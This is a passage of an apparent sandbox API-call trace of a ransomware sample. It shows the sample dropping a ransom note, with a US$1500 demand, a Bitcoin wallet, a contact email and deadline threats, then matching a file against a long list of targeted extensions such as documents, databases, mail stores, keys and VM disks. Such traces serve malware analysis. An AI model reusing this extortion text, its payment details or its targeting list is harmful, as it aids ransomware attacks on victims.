lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\" [0105.412] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\") returned="" [0105.412] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\HOW TO DECRYPT FILES.txt" [0105.412] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\how to decrypt files.txt")) returned 0xffffffff [0105.412] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0105.413] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0105.413] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0105.415] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0105.416] CloseHandle (hObject=0x90) returned 1 [0105.416] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\", lpString2="System.Drawing.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" [0105.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.ems") returned 0 [0105.416] lstrlenA (lpString="*.ems") returned 5 [0105.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.db") returned 0 [0105.416] lstrlenA (lpString="*.db") returned 4 [0105.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.dbf") returned 0 [0105.416] lstrlenA (lpString="*.dbf") returned 5 [0105.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.myox") returned 0 [0105.416] lstrlenA (lpString="*.myox") returned 6 [0105.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.myo") returned 0 [0105.416] lstrlenA (lpString="*.myo") returned 5 [0105.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.qbw") returned 0 [0105.417] lstrlenA (lpString="*.qbw") returned 5 [0105.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.qbb") returned 0 [0105.417] lstrlenA (lpString="*.qbb") returned 5 [0105.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.qbm") returned 0 [0105.417] lstrlenA (lpString="*.qbm") returned 5 [0105.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.qbo") returned 0 [0105.417] lstrlenA (lpString="*.qbo") returned 5 [0105.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.qbx") returned 0 [0105.417] lstrlenA (lpString="*.qbx") returned 5 [0105.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.qba") returned 0 [0105.417] lstrlenA (lpString="*.qba") returned 5 [0105.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.qby") returned 0 [0105.417] lstrlenA (lpString="*.qby") returned 5 [0105.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.qbj") returned 0 [0105.417] lstrlenA (lpString="*.qbj") returned 5 [0105.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.ofx") returned 0 [0105.417] lstrlenA (lpString="*.ofx") returned 5 [0105.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.qif") returned 0 [0105.418] lstrlenA (lpString="*.qif") returned 5 [0105.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.mye") returned 0 [0105.418] lstrlenA (lpString="*.mye") returned 5 [0105.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.mbox") returned 0 [0105.418] lstrlenA (lpString="*.mbox") returned 6 [0105.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.eml") returned 0 [0105.418] lstrlenA (lpString="*.eml") returned 5 [0105.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.pst") returned 0 [0105.418] lstrlenA (lpString="*.pst") returned 5 [0105.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.ost") returned 0 [0105.418] lstrlenA (lpString="*.ost") returned 5 [0105.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.idx") returned 0 [0105.418] lstrlenA (lpString="*.idx") returned 5 [0105.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.dbx") returned 0 [0105.418] lstrlenA (lpString="*.dbx") returned 5 [0105.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.sql") returned 0 [0105.418] lstrlenA (lpString="*.sql") returned 5 [0105.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.mdb") returned 0 [0105.419] lstrlenA (lpString="*.mdb") returned 5 [0105.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.fdb") returned 0 [0105.419] lstrlenA (lpString="*.fdb") returned 5 [0105.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.wab") returned 0 [0105.419] lstrlenA (lpString="*.wab") returned 5 [0105.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.dat") returned 0 [0105.419] lstrlenA (lpString="*.dat") returned 5 [0105.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.txt") returned 0 [0105.419] lstrlenA (lpString="*.txt") returned 5 [0105.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.jpeg") returned 0 [0105.419] lstrlenA (lpString="*.jpeg") returned 6 [0105.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.jpg") returned 0 [0105.419] lstrlenA (lpString="*.jpg") returned 5 [0105.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.png") returned 0 [0105.419] lstrlenA (lpString="*.png") returned 5 [0105.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.php") returned 0 [0105.420] lstrlenA (lpString="*.php") returned 5 [0105.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.cs") returned 0 [0105.420] lstrlenA (lpString="*.cs") returned 4 [0105.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.cpp") returned 0 [0105.420] lstrlenA (lpString="*.cpp") returned 5 [0105.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.rar") returned 0 [0105.420] lstrlenA (lpString="*.rar") returned 5 [0105.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.zip") returned 0 [0105.420] lstrlenA (lpString="*.zip") returned 5 [0105.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.html") returned 0 [0105.420] lstrlenA (lpString="*.html") returned 6 [0105.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.htm") returned 0 [0105.420] lstrlenA (lpString="*.htm") returned 5 [0105.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.xlsx") returned 0 [0105.420] lstrlenA (lpString="*.xlsx") returned 6 [0105.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.xls") returned 0 [0105.420] lstrlenA (lpString="*.xls") returned 5 [0105.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.mp4") returned 0 [0105.420] lstrlenA (lpString="*.mp4") returned 5 [0105.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.ppt") returned 0 [0105.420] lstrlenA (lpString="*.ppt") returned 5 [0105.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.pptx") returned 0 [0105.421] lstrlenA (lpString="*.pptx") returned 6 [0105.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.doc") returned 0 [0105.421] lstrlenA (lpString="*.doc") returned 5 [0105.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.dot") returned 0 [0105.421] lstrlenA (lpString="*.dot") returned 5 [0105.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.docx") returned 0 [0105.421] lstrlenA (lpString="*.docx") returned 6 [0105.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.7z") returned 0 [0105.421] lstrlenA (lpString="*.7z") returned 4 [0105.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.tar") returned 0 [0105.421] lstrlenA (lpString="*.tar") returned 5 [0105.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.bz2") returned 0 [0105.421] lstrlenA (lpString="*.bz2") returned 5 [0105.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.gz") returned 0 [0105.421] lstrlenA (lpString="*.gz") returned 4 [0105.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.mkv") returned 0 [0105.421] lstrlenA (lpString="*.mkv") returned 5 [0105.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.eml") returned 0 [0105.421] lstrlenA (lpString="*.eml") returned 5 [0105.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.msg") returned 0 [0105.422] lstrlenA (lpString="*.msg") returned 5 [0105.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.edb") returned 0 [0105.422] lstrlenA (lpString="*.edb") returned 5 [0105.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.accdb") returned 0 [0105.422] lstrlenA (lpString="*.accdb") returned 7 [0105.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.odb") returned 0 [0105.422] lstrlenA (lpString="*.odb") returned 5 [0105.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.java") returned 0 [0105.422] lstrlenA (lpString="*.java") returned 6 [0105.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.asm") returned 0 [0105.422] lstrlenA (lpString="*.asm") returned 5 [0105.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.pfx") returned 0 [0105.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.pem") returned 0 [0105.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.p12") returned 0 [0105.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.gpg") returned 0 [0105.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.vsd") returned 0 [0105.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.odg") returned 0 [0105.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.raw") returned 0 [0105.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.nef") returned 0 [0105.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.svg") returned 0 [0105.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.psd") returned 0 [0105.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.vmx") returned 0 [0105.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.vmdk") returned 0 [0105.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.vdi") returned 0 [0105.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.lay6") returned 0 [0105.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.mpeg") returned 0 [0105.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.djvu") returned 0 [0105.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.tiff") returned 0 [0105.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.backup") returned 0 [0105.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.pdf") returned 0 [0105.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.cert") returned 0 [0105.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.docm") returned 0 [0105.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.xlsm") returned 0 [0105.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.dwg") returned 0 [0105.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.nd") returned 0 [0105.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.tlg") returned 0 [0105.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.lgb") returned 0 [0105.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.mov") returned 0 [0105.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.xdw") returned 0 [0105.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.ods") returned 0 [0105.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.wav") returned 0 [0105.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.mp3") returned 0 [0105.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.aiff") returned 0 [0105.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.flac") returned 0 [0105.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.m4a") returned 0 [0105.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll", pszSpec="*.csv") returned 0 [0105.502] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdb4452b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfdb4452b, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfdb907ec, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x183800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Drawing.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0105.502] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0105.502] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc02c0c, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfdc02c0c, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfdc02c0c, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, 